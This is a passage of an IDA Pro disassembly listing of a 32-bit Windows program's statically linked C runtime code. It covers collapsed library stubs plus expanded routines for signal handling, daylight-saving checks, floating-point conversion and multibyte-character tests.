FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001BF BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION __GET_RTERRMSG. PRESS KEYPAD "+" TO EXPAND] ; [000000DA BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION __itoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C2 BYTES: COLLAPSED FUNCTION _xtoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003F BYTES: COLLAPSED FUNCTION __ltoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001E BYTES: COLLAPSED FUNCTION __ultoa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000048 BYTES: COLLAPSED FUNCTION __i64toa. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000F2 BYTES: COLLAPSED FUNCTION x64toa(x,x,x,x,x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __ui64toa. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp sub esp, 10h push esi cmp dword ptr [ebp+0Ch], 4 jz short loc_430783 cmp dword ptr [ebp+0Ch], 3 jnz short loc_430788 loc_430783: ; CODE XREF: .text:0043077Bj jmp loc_430958 ; --------------------------------------------------------------------------- loc_430788: ; CODE XREF: .text:00430781j cmp dword ptr [ebp+8], 2 jz short loc_4307A4 cmp dword ptr [ebp+8], 15h jz short loc_4307A4 cmp dword ptr [ebp+8], 16h jz short loc_4307A4 cmp dword ptr [ebp+8], 0Fh jnz loc_430881 loc_4307A4: ; CODE XREF: .text:0043078Cj ; .text:00430792j ... push 1 call __lock add esp, 4 cmp dword ptr [ebp+8], 2 jz short loc_4307BA cmp dword ptr [ebp+8], 15h jnz short loc_4307FF loc_4307BA: ; CODE XREF: .text:004307B2j cmp dword_4F374C, 0 jnz short loc_4307FF push 1 push offset _ctrlevent_capture@4 ; ctrlevent_capture(x) call ds:dword_4F53F8 ; SetConsoleCtrlHandler cmp eax, 1 jnz short loc_4307E1 mov dword_4F374C, 1 jmp short loc_4307FF ; --------------------------------------------------------------------------- loc_4307E1: ; CODE XREF: .text:004307D3j call ds:dword_4F5360 ; RtlGetLastWin32Error mov esi, eax call ___doserrno mov [eax], esi push 1 call __unlock add esp, 4 jmp loc_430958 ; --------------------------------------------------------------------------- loc_4307FF: ; CODE XREF: .text:004307B8j ; .text:004307C1j ... mov eax, [ebp+8] mov [ebp-10h], eax mov ecx, [ebp-10h] sub ecx, 2 mov [ebp-10h], ecx cmp dword ptr [ebp-10h], 14h ja short loc_430872 mov eax, [ebp-10h] xor edx, edx mov dl, ds:byte_43097F[eax] jmp ds:off_43096B[edx*4] loc_430826: ; DATA XREF: .text:off_43096Bo mov ecx, dword_4F373C mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4F373C, edx jmp short loc_430872 ; --------------------------------------------------------------------------- loc_43083A: ; CODE XREF: .text:0043081Fj ; DATA XREF: .text:00430973o mov eax, dword_4F3740 mov [ebp-0Ch], eax mov ecx, [ebp+0Ch] mov dword_4F3740, ecx jmp short loc_430872 ; --------------------------------------------------------------------------- loc_43084D: ; CODE XREF: .text:0043081Fj ; DATA XREF: .text:00430977o mov edx, dword_4F3744 mov [ebp-0Ch], edx mov eax, [ebp+0Ch] mov dword_4F3744, eax jmp short loc_430872 ; --------------------------------------------------------------------------- loc_430860: ; CODE XREF: .text:0043081Fj ; DATA XREF: .text:0043096Fo mov ecx, dword_4F3748 mov [ebp-0Ch], ecx mov edx, [ebp+0Ch] mov dword_4F3748, edx loc_430872: ; CODE XREF: .text:00430812j ; .text:0043081Fj ... push 1 call __unlock add esp, 4 jmp loc_430953 ; --------------------------------------------------------------------------- loc_430881: ; CODE XREF: .text:0043079Ej cmp dword ptr [ebp+8], 8 jz short loc_430898 cmp dword ptr [ebp+8], 4 jz short loc_430898 cmp dword ptr [ebp+8], 0Bh jz short loc_430898 jmp loc_430958 ; --------------------------------------------------------------------------- loc_430898: ; CODE XREF: .text:00430885j ; .text:0043088Bj ... call __getptd mov [ebp-4], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], offset dword_454418 jnz short loc_4308F5 push 133h push offset aWinsig_c ; "winsig.c" push 2 mov ecx, dword_454498 push ecx call __malloc_dbg add esp, 10h mov edx, [ebp-4] mov [edx+50h], eax mov eax, [ebp-4] cmp dword ptr [eax+50h], 0 jz short loc_4308F3 mov ecx, dword_454498 push ecx push offset dword_454418 mov edx, [ebp-4] mov eax, [edx+50h] push eax call _memcpy add esp, 0Ch jmp short loc_4308F5 ; --------------------------------------------------------------------------- loc_4308F3: ; CODE XREF: .text:004308D4j jmp short loc_430958 ; --------------------------------------------------------------------------- loc_4308F5: ; CODE XREF: .text:004308AAj ; .text:004308F1j mov ecx, [ebp-4] mov edx, [ecx+50h] push edx mov eax, [ebp+8] push eax call _siglookup add esp, 8 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jnz short loc_430913 jmp short loc_430958 ; --------------------------------------------------------------------------- loc_430913: ; CODE XREF: .text:0043090Fj mov ecx, [ebp-8] mov edx, [ecx+8] mov [ebp-0Ch], edx loc_43091C: ; CODE XREF: .text:loc_430951j mov eax, [ebp-8] mov ecx, [eax+4] cmp ecx, [ebp+8] jnz short loc_430953 mov edx, [ebp-8] mov eax, [ebp+0Ch] mov [edx+8], eax mov ecx, [ebp-8] add ecx, 0Ch mov [ebp-8], ecx mov edx, dword_45449C imul edx, 0Ch mov eax, [ebp-4] mov ecx, [eax+50h] add ecx, edx cmp [ebp-8], ecx jb short loc_430951 jmp short loc_430953 ; --------------------------------------------------------------------------- loc_430951: ; CODE XREF: .text:0043094Dj jmp short loc_43091C ; --------------------------------------------------------------------------- loc_430953: ; CODE XREF: .text:0043087Cj ; .text:00430925j ... mov eax, [ebp-0Ch] jmp short loc_430966 ; --------------------------------------------------------------------------- loc_430958: ; CODE XREF: .text:loc_430783j ; .text:004307FAj ... call __errno mov dword ptr [eax], 16h or eax, 0FFFFFFFFh loc_430966: ; CODE XREF: .text:00430956j pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- off_43096B dd offset loc_430826 ; DATA XREF: .text:0043081Fr dd offset loc_430860 dd offset loc_43083A dd offset loc_43084D dd offset loc_430872 byte_43097F db 0 ; DATA XREF: .text:00430819r dd 3 dup(4040404h), 4040401h, 3020404h, 3 dup(0CCCCCCCCh) ; [00000092 BYTES: COLLAPSED FUNCTION ctrlevent_capture(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000020A BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND] off_430C4A dd offset loc_430A78 ; DATA XREF: _raise+31r dd offset loc_430AE3 dd offset loc_430AC9 dd offset loc_430A95 dd offset loc_430AAF dd offset loc_430B0E byte_430C62 db 0 ; DATA XREF: _raise+2Br db 5 dd 5050501h, 1050501h, 2050505h, 5050505h, 0CC040305h dd 2 dup(0CCCCCCCCh) ; [0000005B BYTES: COLLAPSED FUNCTION _siglookup. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_24. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION ___pxcptinfoptrs. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BB BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001E2 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D8 BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000066 BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000104 BYTES: COLLAPSED FUNCTION __open_osfhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000086 BYTES: COLLAPSED FUNCTION __lock_fhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000026 BYTES: COLLAPSED FUNCTION __unlock_fhandle. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D2 BYTES: COLLAPSED FUNCTION unknown_libname_25. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001BC BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000C7 BYTES: COLLAPSED FUNCTION __getbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003F BYTES: COLLAPSED FUNCTION __open. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000050E BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+" TO EXPAND] off_431C4E dd offset loc_43182E ; DATA XREF: __sopen+E7r dd offset loc_431837 dd offset loc_431840 dd offset loc_431849 dd offset loc_431852 byte_431C62 db 0 ; DATA XREF: __sopen+E1r db 4 dd 3 dup(4040404h), 4010404h, 3 dup(4040404h), 4020404h dd 3 dup(4040404h), 0CC030404h, 3 dup(0CCCCCCCCh) ; [00000032 BYTES: COLLAPSED FUNCTION __isatty. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000077 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A0 BYTES: COLLAPSED FUNCTION __wctomb_lk. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000015E BYTES: COLLAPSED FUNCTION __mbtowc_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __allshl. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000066 BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013E BYTES: COLLAPSED FUNCTION _ungetc_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4321B0 proc near ; CODE XREF: __umatherr+5Ap push ebp mov ebp, esp xor eax, eax pop ebp retn sub_4321B0 endp ; --------------------------------------------------------------------------- align 10h ; [0000001F BYTES: COLLAPSED FUNCTION __statusfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000020 BYTES: COLLAPSED FUNCTION __clearfp. PRESS KEYPAD "+" TO EXPAND] ; [0000004F BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001A BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000058 BYTES: COLLAPSED FUNCTION __fpreset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000179 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000015A BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A7 BYTES: COLLAPSED FUNCTION __abstract_sw. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000084 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A8 BYTES: COLLAPSED FUNCTION __IncMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DB BYTES: COLLAPSED FUNCTION __RoundMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002F BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000037 BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000EC BYTES: COLLAPSED FUNCTION __ShrMan. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000242 BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432C80 proc near ; CODE XREF: sub_432D80+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_454568 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call __ld12cvt add esp, 0Ch pop ebp retn sub_432C80 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432CA0 proc near ; CODE XREF: sub_432E00+2Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push offset dword_454580 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call __ld12cvt add esp, 0Ch pop ebp retn sub_432CA0 endp ; --------------------------------------------------------------------------- align 10h ; [000000BF BYTES: COLLAPSED FUNCTION __ld12told. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D80 proc near ; CODE XREF: __fassign+14p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call ___strgtold12 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_432C80 add esp, 8 mov esp, ebp pop ebp retn sub_432D80 endp ; --------------------------------------------------------------------------- align 10h ; [00000036 BYTES: COLLAPSED FUNCTION __atoldbl. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432E00 proc near ; CODE XREF: __fassign+34p var_10 = byte ptr -10h var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 push 0 push 0 push 0 mov eax, [ebp+arg_4] push eax lea ecx, [ebp+var_10] push ecx lea edx, [ebp+var_C] push edx call ___strgtold12 add esp, 1Ch mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] push ecx call sub_432CA0 add esp, 8 mov esp, ebp pop ebp retn sub_432E00 endp ; --------------------------------------------------------------------------- align 10h ; [000000FA BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000077 BYTES: COLLAPSED FUNCTION __fltout2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000162 BYTES: COLLAPSED FUNCTION ___dtold. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000F BYTES: COLLAPSED FUNCTION __fptrap. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005B BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __CxxSetUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000011 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4331E0 proc near ; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *)+9Ep ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+77p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F5470 ; IsBadReadPtr test eax, eax jz short loc_433204 mov [ebp+var_4], 0 loc_433204: ; CODE XREF: sub_4331E0+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4331E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433210 proc near ; CODE XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+89p ; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+EDp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov [ebp+var_4], 1 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call ds:dword_4F546C ; IsBadWritePtr test eax, eax jz short loc_433234 mov [ebp+var_4], 0 loc_433234: ; CODE XREF: sub_433210+1Bj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_433210 endp ; --------------------------------------------------------------------------- align 10h ; [00000027 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001E BYTES: COLLAPSED FUNCTION _abort. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop ebp retn ; [0000003D BYTES: COLLAPSED FUNCTION ___tzset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003AB BYTES: COLLAPSED FUNCTION __tzset_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002E BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4336D0 proc near ; CODE XREF: __isindst+12p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_45459C, 0 jnz short loc_4336E4 xor eax, eax jmp loc_4339C6 ; --------------------------------------------------------------------------- loc_4336E4: ; CODE XREF: sub_4336D0+Bj mov eax, [ebp+arg_0] mov ecx, [eax+14h] cmp ecx, dword_454630 jnz short loc_433704 mov edx, [ebp+arg_0] mov eax, [edx+14h] cmp eax, dword_454640 jz loc_4338CB loc_433704: ; CODE XREF: sub_4336D0+20j cmp dword_4F3768, 0 jz loc_433885 xor ecx, ecx mov cx, word_4F3808 test ecx, ecx jnz short loc_433779 xor edx, edx mov dx, word_4F3816 push edx xor eax, eax mov ax, word_4F3814 push eax xor ecx, ecx mov cx, word_4F3812 push ecx xor edx, edx mov dx, word_4F3810 push edx push 0 xor eax, eax mov ax, word_4F380C push eax xor ecx, ecx mov cx, word_4F380E push ecx xor edx, edx mov dx, word_4F380A push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 1 call _cvtdate add esp, 2Ch jmp short loc_4337CA ; --------------------------------------------------------------------------- loc_433779: ; CODE XREF: sub_4336D0+4Cj xor edx, edx mov dx, word_4F3816 push edx xor eax, eax mov ax, word_4F3814 push eax xor ecx, ecx mov cx, word_4F3812 push ecx xor edx, edx mov dx, word_4F3810 push edx xor eax, eax mov ax, word_4F380E push eax push 0 push 0 xor ecx, ecx mov cx, word_4F380A push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 1 call _cvtdate add esp, 2Ch loc_4337CA: ; CODE XREF: sub_4336D0+A7j xor ecx, ecx mov cx, word_4F37B4 test ecx, ecx jnz short loc_433832 xor edx, edx mov dx, word_4F37C2 push edx xor eax, eax mov ax, word_4F37C0 push eax xor ecx, ecx mov cx, word_4F37BE push ecx xor edx, edx mov dx, word_4F37BC push edx push 0 xor eax, eax mov ax, word_4F37B8 push eax xor ecx, ecx mov cx, word_4F37BA push ecx xor edx, edx mov dx, word_4F37B6 push edx mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call _cvtdate add esp, 2Ch jmp short loc_433883 ; --------------------------------------------------------------------------- loc_433832: ; CODE XREF: sub_4336D0+105j xor edx, edx mov dx, word_4F37C2 push edx xor eax, eax mov ax, word_4F37C0 push eax xor ecx, ecx mov cx, word_4F37BE push ecx xor edx, edx mov dx, word_4F37BC push edx xor eax, eax mov ax, word_4F37BA push eax push 0 push 0 xor ecx, ecx mov cx, word_4F37B6 push ecx mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax push 0 push 0 call _cvtdate add esp, 2Ch loc_433883: ; CODE XREF: sub_4336D0+160j jmp short loc_4338CB ; --------------------------------------------------------------------------- loc_433885: ; CODE XREF: sub_4336D0+3Bj push 0 push 0 push 0 push 2 push 0 push 0 push 1 push 4 mov ecx, [ebp+arg_0] mov edx, [ecx+14h] push edx push 1 push 1 call _cvtdate add esp, 2Ch push 0 push 0 push 0 push 2 push 0 push 0 push 5 push 0Ah mov eax, [ebp+arg_0] mov ecx, [eax+14h] push ecx push 1 push 0 call _cvtdate add esp, 2Ch loc_4338CB: ; CODE XREF: sub_4336D0+2Ej ; sub_4336D0:loc_433883j mov edx, dword_454634 cmp edx, dword_454644 jge short loc_433924 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_454634 jl short loc_4338F5 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_454644 jle short loc_4338FC loc_4338F5: ; CODE XREF: sub_4336D0+215j xor eax, eax jmp loc_4339C6 ; --------------------------------------------------------------------------- loc_4338FC: ; CODE XREF: sub_4336D0+223j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_454634 jle short loc_433922 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_454644 jge short loc_433922 mov eax, 1 jmp loc_4339C6 ; --------------------------------------------------------------------------- loc_433922: ; CODE XREF: sub_4336D0+238j ; sub_4336D0+246j jmp short loc_433967 ; --------------------------------------------------------------------------- loc_433924: ; CODE XREF: sub_4336D0+207j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_454644 jl short loc_433940 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_454634 jle short loc_433947 loc_433940: ; CODE XREF: sub_4336D0+260j mov eax, 1 jmp short loc_4339C6 ; --------------------------------------------------------------------------- loc_433947: ; CODE XREF: sub_4336D0+26Ej mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp ecx, dword_454644 jle short loc_433967 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp eax, dword_454634 jge short loc_433967 xor eax, eax jmp short loc_4339C6 ; --------------------------------------------------------------------------- loc_433967: ; CODE XREF: sub_4336D0:loc_433922j ; sub_4336D0+283j ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] imul edx, 3Ch mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, edx mov edx, [ebp+arg_0] mov eax, [edx+8] imul eax, 0E10h add ecx, eax imul ecx, 3E8h mov [ebp+var_4], ecx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp edx, dword_454634 jnz short loc_4339B2 mov eax, [ebp+var_4] cmp eax, dword_454638 jl short loc_4339AE mov eax, 1 jmp short loc_4339C6 ; --------------------------------------------------------------------------- loc_4339AE: ; CODE XREF: sub_4336D0+2D5j xor eax, eax jmp short loc_4339C6 ; --------------------------------------------------------------------------- loc_4339B2: ; CODE XREF: sub_4336D0+2CAj mov ecx, [ebp+var_4] cmp ecx, dword_454648 jge short loc_4339C4 mov eax, 1 jmp short loc_4339C6 ; --------------------------------------------------------------------------- loc_4339C4: ; CODE XREF: sub_4336D0+2EBj xor eax, eax loc_4339C6: ; CODE XREF: sub_4336D0+Fj ; sub_4336D0+227j ... mov esp, ebp pop ebp retn sub_4336D0 endp ; --------------------------------------------------------------------------- align 10h ; [000001F8 BYTES: COLLAPSED FUNCTION _cvtdate. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DB BYTES: COLLAPSED FUNCTION ___init_time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000058F BYTES: COLLAPSED FUNCTION __get_lc_time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000030B BYTES: COLLAPSED FUNCTION __free_lc_time. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002A6 BYTES: COLLAPSED FUNCTION ___init_numeric. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000130 BYTES: COLLAPSED FUNCTION ___init_monetary. PRESS KEYPAD "+" TO EXPAND] ; [0000020D BYTES: COLLAPSED FUNCTION __get_lc_lconv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007D BYTES: COLLAPSED FUNCTION _fix_grouping_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000093 BYTES: COLLAPSED FUNCTION __free_lc_lconv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003A0 BYTES: COLLAPSED FUNCTION unknown_libname_28. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435080 proc near ; DATA XREF: .data:004543E4o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_435080 endp ; --------------------------------------------------------------------------- align 10h ; [0000003E BYTES: COLLAPSED FUNCTION _strcspn. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003A BYTES: COLLAPSED FUNCTION unknown_libname_30. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000200 BYTES: COLLAPSED FUNCTION ___get_qualified_locale. PRESS KEYPAD "+" TO EXPAND] ; [00000082 BYTES: COLLAPSED FUNCTION _TranslateName. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BA BYTES: COLLAPSED FUNCTION _GetLcidFromLangCountry. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000324 BYTES: COLLAPSED FUNCTION LangCountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000074 BYTES: COLLAPSED FUNCTION _GetLcidFromLanguage. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000011F BYTES: COLLAPSED FUNCTION LanguageEnumProc(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000045 BYTES: COLLAPSED FUNCTION _GetLcidFromCountry. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000AC BYTES: COLLAPSED FUNCTION CountryEnumProc(x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002B BYTES: COLLAPSED FUNCTION _GetLcidFromDefault. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009B BYTES: COLLAPSED FUNCTION _ProcessCodePage. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004F BYTES: COLLAPSED FUNCTION _TestDefaultCountry. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000087 BYTES: COLLAPSED FUNCTION _TestDefaultLanguage. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004D BYTES: COLLAPSED FUNCTION _IsThisWindowsNT. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000184 BYTES: COLLAPSED FUNCTION crtGetLocaleInfoA(x,x,x,x). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000076 BYTES: COLLAPSED FUNCTION _LcidFromHexString. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000065 BYTES: COLLAPSED FUNCTION _GetPrimaryLen. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp push 1 push 0 mov eax, [ebp+8] push eax call sub_436030 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkprint. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbkpunct. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalnum. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbalpha. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbgraph. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000018 BYTES: COLLAPSED FUNCTION __ismbbprint. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbpunct. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000015 BYTES: COLLAPSED FUNCTION __ismbbtrail. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003B BYTES: COLLAPSED FUNCTION __ismbbkana. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_436030 proc near ; CODE XREF: .text:00435EBBp ; __ismbbkprint+Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_0] and eax, 0FFh mov [ebp+arg_0], eax mov ecx, [ebp+arg_0] xor edx, edx mov dl, byte_4F3AE1[ecx] and edx, [ebp+arg_8] test edx, edx jnz short loc_436084 cmp [ebp+arg_4], 0 jz short loc_43606E mov eax, [ebp+arg_0] xor ecx, ecx mov cx, word ptr 